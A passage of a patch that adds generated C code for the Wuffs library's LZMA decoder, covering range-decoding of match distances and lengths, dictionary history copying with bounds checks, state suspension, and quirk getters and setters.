v_dist_extra_bits |= (((uint32_t)(1u)) << v_i); -+ v_i += 1u; -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_13 = *iop_a_src++; -+ v_c8 = t_13; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_rep += v_dist_extra_bits; -+ } else { -+ v_num_extra_bits = ((v_slot >> 1u) - 1u); -+ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); -+ v_dist_extra_bits = 0u; -+ while (true) { -+ v_range >>= 1u; -+ v_bits -= v_range; -+ v_high_bit_was_on = ((uint32_t)(0u - (v_bits >> 31u))); -+ v_bits += (v_range & v_high_bit_was_on); -+ v_dist_extra_bits = (((uint32_t)(v_dist_extra_bits << 1u)) | (((uint32_t)(v_high_bit_was_on + 1u)) & 1u)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_14 = *iop_a_src++; -+ v_c8 = t_14; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_num_extra_bits -= 1u; -+ if (v_num_extra_bits <= 4u) { -+ break; -+ } -+ } -+ v_dist_extra_bits <<= 4u; -+ v_index_large_dist = 1u; -+ while (true) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_large_dist[v_index_large_dist])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); -+ v_index_large_dist = (15u & ((uint32_t)(v_index_large_dist << 1u))); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); -+ v_index_large_dist = (15u & (((uint32_t)(v_index_large_dist << 1u)) | 1u)); -+ v_dist_extra_bits |= (((uint32_t)(1u)) << (4u - v_num_extra_bits)); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_15 = *iop_a_src++; -+ v_c8 = t_15; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_num_extra_bits -= 1u; -+ if (v_num_extra_bits <= 0u) { -+ break; -+ } -+ } -+ v_rep += v_dist_extra_bits; -+ } -+ if (v_rep >= 4294967295u) { -+ self->private_impl.f_end_of_chunk = true; -+ goto label__outer__break; -+ } -+ v_rep3 = v_rep2; -+ v_rep2 = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_rep; -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_MATCH[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_16 = *iop_a_src++; -+ v_c8 = t_16; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao40[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_17 = *iop_a_src++; -+ v_c8 = t_17; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_ao41 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao41[v_index_ao41])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_18 = *iop_a_src++; -+ v_c8 = t_18; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_len = 1u; -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_SHORTREP[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_19 = *iop_a_src++; -+ v_c8 = t_19; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_20 = *iop_a_src++; -+ v_c8 = t_20; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao60[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_21 = *iop_a_src++; -+ v_c8 = t_21; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_reptmp = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_reptmp; -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_22 = *iop_a_src++; -+ v_c8 = t_22; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao63[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_23 = *iop_a_src++; -+ v_c8 = t_23; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_reptmp = v_rep2; -+ v_rep2 = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_reptmp; -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_24 = *iop_a_src++; -+ v_c8 = t_24; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_reptmp = v_rep3; -+ v_rep3 = v_rep2; -+ v_rep2 = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_reptmp; -+ } -+ } -+ } -+ do { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_25 = *iop_a_src++; -+ v_c8 = t_25; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_26 = *iop_a_src++; -+ v_c8 = t_26; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 7u) + 2u); -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_27 = *iop_a_src++; -+ v_c8 = t_27; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_28 = *iop_a_src++; -+ v_c8 = t_28; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_29 = *iop_a_src++; -+ v_c8 = t_29; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 7u) + 10u); -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_30 = *iop_a_src++; -+ v_c8 = t_30; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_high[0u][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_31 = *iop_a_src++; -+ v_c8 = t_31; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 255u) + 18u); -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); -+ } while (0); -+ } while (0); -+ v_dist = (v_rep0 + 1u); -+ if ((((uint64_t)(v_dist)) > v_pos) || (((uint64_t)(v_dist)) > ((uint64_t)(self->private_impl.f_dict_size)))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); -+ goto exit; -+ } -+ v_pos += ((uint64_t)(v_len)); -+ while (274u > ((uint64_t)(io2_a_dst - iop_a_dst))) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(34); -+ } -+ if (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ if (v_adj_dist > self->private_impl.f_dict_seen) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); -+ goto exit; -+ } -+ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); -+ while (v_wb_index >= 9223372036854775808u) { -+ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); -+ } -+ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ if (v_len < v_adj_dist) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,(v_len + 1u), wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_match_byte = ((uint32_t)(iop_a_dst[-1])); -+ iop_a_dst--; -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_prev_byte = iop_a_dst[-1]; -+ continue; -+ } else if (v_len == v_adj_dist) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_len, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history( -+ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_match_byte = ((uint32_t)(iop_a_dst[-1])); -+ iop_a_dst--; -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_prev_byte = iop_a_dst[-1]; -+ continue; -+ } -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_adj_dist, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); -+ v_len -= v_adj_dist; -+ if ((((uint64_t)(v_len)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst)))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ } -+ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); -+ v_match_byte = (v_match_cusp >> 8u); -+ v_prev_byte = ((uint8_t)(v_match_cusp)); -+ } -+ label__outer__break:; -+ self->private_impl.f_stashed_bytes[0u] = v_prev_byte; -+ self->private_impl.f_stashed_bytes[1u] = ((uint8_t)(v_match_byte)); -+ self->private_impl.f_stashed_bits = v_bits; -+ self->private_impl.f_stashed_range = v_range; -+ self->private_impl.f_stashed_state = v_state; -+ self->private_impl.f_stashed_rep0 = v_rep0; -+ self->private_impl.f_stashed_rep1 = v_rep1; -+ self->private_impl.f_stashed_rep2 = v_rep2; -+ self->private_impl.f_stashed_rep3 = v_rep3; -+ self->private_impl.f_stashed_pos = v_pos; -+ self->private_impl.f_stashed_pos_end = v_pos_end; -+ -+ ok: -+ self->private_impl.p_decode_bitstream_slow = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_bitstream_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_bitstream_slow.v_bits = v_bits; -+ self->private_data.s_decode_bitstream_slow.v_range = v_range; -+ self->private_data.s_decode_bitstream_slow.v_state = v_state; -+ self->private_data.s_decode_bitstream_slow.v_rep0 = v_rep0; -+ self->private_data.s_decode_bitstream_slow.v_rep1 = v_rep1; -+ self->private_data.s_decode_bitstream_slow.v_rep2 = v_rep2; -+ self->private_data.s_decode_bitstream_slow.v_rep3 = v_rep3; -+ self->private_data.s_decode_bitstream_slow.v_rep = v_rep; -+ self->private_data.s_decode_bitstream_slow.v_pos = v_pos; -+ self->private_data.s_decode_bitstream_slow.v_pos_end = v_pos_end; -+ self->private_data.s_decode_bitstream_slow.v_lc = v_lc; -+ self->private_data.s_decode_bitstream_slow.v_lp_mask = v_lp_mask; -+ self->private_data.s_decode_bitstream_slow.v_pb_mask = v_pb_mask; -+ self->private_data.s_decode_bitstream_slow.v_tree_node = v_tree_node; -+ self->private_data.s_decode_bitstream_slow.v_prev_byte = v_prev_byte; -+ self->private_data.s_decode_bitstream_slow.v_match_byte = v_match_byte; -+ self->private_data.s_decode_bitstream_slow.v_len_state = v_len_state; -+ self->private_data.s_decode_bitstream_slow.v_slot = v_slot; -+ self->private_data.s_decode_bitstream_slow.v_len = v_len; -+ self->private_data.s_decode_bitstream_slow.v_lanl_offset = v_lanl_offset; -+ self->private_data.s_decode_bitstream_slow.v_num_extra_bits = v_num_extra_bits; -+ self->private_data.s_decode_bitstream_slow.v_dist_extra_bits = v_dist_extra_bits; -+ self->private_data.s_decode_bitstream_slow.v_i = v_i; -+ self->private_data.s_decode_bitstream_slow.v_index_lit = v_index_lit; -+ self->private_data.s_decode_bitstream_slow.v_index_len = v_index_len; -+ self->private_data.s_decode_bitstream_slow.v_index_small_dist_base = v_index_small_dist_base; -+ self->private_data.s_decode_bitstream_slow.v_index_small_dist_extra = v_index_small_dist_extra; -+ self->private_data.s_decode_bitstream_slow.v_index_large_dist = v_index_large_dist; -+ self->private_data.s_decode_bitstream_slow.v_dist = v_dist; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func lzma.decoder.add_history -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__add_history( -+ wuffs_lzma__decoder* self, -+ wuffs_base__slice_u8 a_hist, -+ wuffs_base__slice_u8 a_workbuf) { -+ uint64_t v_dict_workbuf_index = 0; -+ uint64_t v_dict_size = 0; -+ uint64_t v_hist_length = 0; -+ wuffs_base__slice_u8 v_s = {0}; -+ uint64_t v_n_copied = 0; -+ uint64_t v_n = 0; -+ -+ v_dict_workbuf_index = ((uint64_t)(self->private_impl.f_dict_workbuf_index)); -+ v_dict_size = ((uint64_t)(self->private_impl.f_dict_size)); -+ if (((uint64_t)(a_hist.len)) == 0u) { -+ return wuffs_base__make_status(NULL); -+ } -+ if (((uint64_t)(a_workbuf.len)) < (v_dict_size + 273u)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ } -+ v_hist_length = ((uint64_t)(a_hist.len)); -+ if (v_hist_length > 4294967295u) { -+ self->private_impl.f_dict_seen = 4294967295u; -+ } else { -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dict_seen, ((uint32_t)(v_hist_length))); -+ } -+ v_s = a_hist; -+ if (((uint64_t)(v_s.len)) >= v_dict_size) { -+ v_s = wuffs_private_impl__slice_u8__suffix(v_s, v_dict_size); -+ wuffs_private_impl__slice_u8__copy_from_slice(a_workbuf, v_s); -+ self->private_impl.f_dict_workbuf_index = 0u; -+ } else if (v_dict_workbuf_index > v_dict_size) { -+ return wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ } else { -+ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8__subslice_ij(a_workbuf, v_dict_workbuf_index, v_dict_size), v_s); -+ if (v_n_copied < ((uint64_t)(v_s.len))) { -+ v_n = wuffs_private_impl__slice_u8__copy_from_slice(a_workbuf, wuffs_base__slice_u8__subslice_i(v_s, v_n_copied)); -+ self->private_impl.f_dict_workbuf_index = ((uint32_t)(v_n)); -+ } else { -+ v_n = ((uint64_t)(v_dict_workbuf_index + v_n_copied)); -+ if (v_n < v_dict_size) { -+ self->private_impl.f_dict_workbuf_index = ((uint32_t)(v_n)); -+ } else { -+ self->private_impl.f_dict_workbuf_index = 0u; -+ } -+ } -+ } -+ if ((273u > v_dict_size) || (v_dict_size > ((uint64_t)(a_workbuf.len)))) { -+ return wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ } -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8__subslice_i(a_workbuf, v_dict_size), wuffs_base__slice_u8__subslice_j(a_workbuf, 273u)); -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func lzma.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_lzma__decoder__get_quirk( -+ const wuffs_lzma__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (a_key == 1348001792u) { -+ if (self->private_impl.f_allow_non_zero_initial_byte) { -+ return 1u; -+ } -+ } else if (a_key == 1348001793u) { -+ return ((uint64_t)(self->private_impl.f_format_extension)); -+ } -+ return 0u; -+} -+ -+// -------- func lzma.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzma__decoder__set_quirk( -+ wuffs_lzma__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ uint32_t v_v = 0; -+ uint32_t v_n = 0; -+ -+ if (a_key == 1348001792u) { -+ self->private_impl.f_allow_non_zero_initial_byte = (a_value > 0u); -+ } else if (a_key == 1348001793u) { -+ if (a_value == 0u) { -+ self->private_impl.f_format_extension = 0u; -+ return wuffs_base__make_status(NULL); -+ } else if ((a_value & 255u) == 1u) { -+ if ((a_value >> 8u) <= 255u) { -+ self->private_impl.f_format_extension = ((uint32_t)(a_value)); -+ v_v = (self->private_impl.f_format_extension >> 8u); -+ v_n = 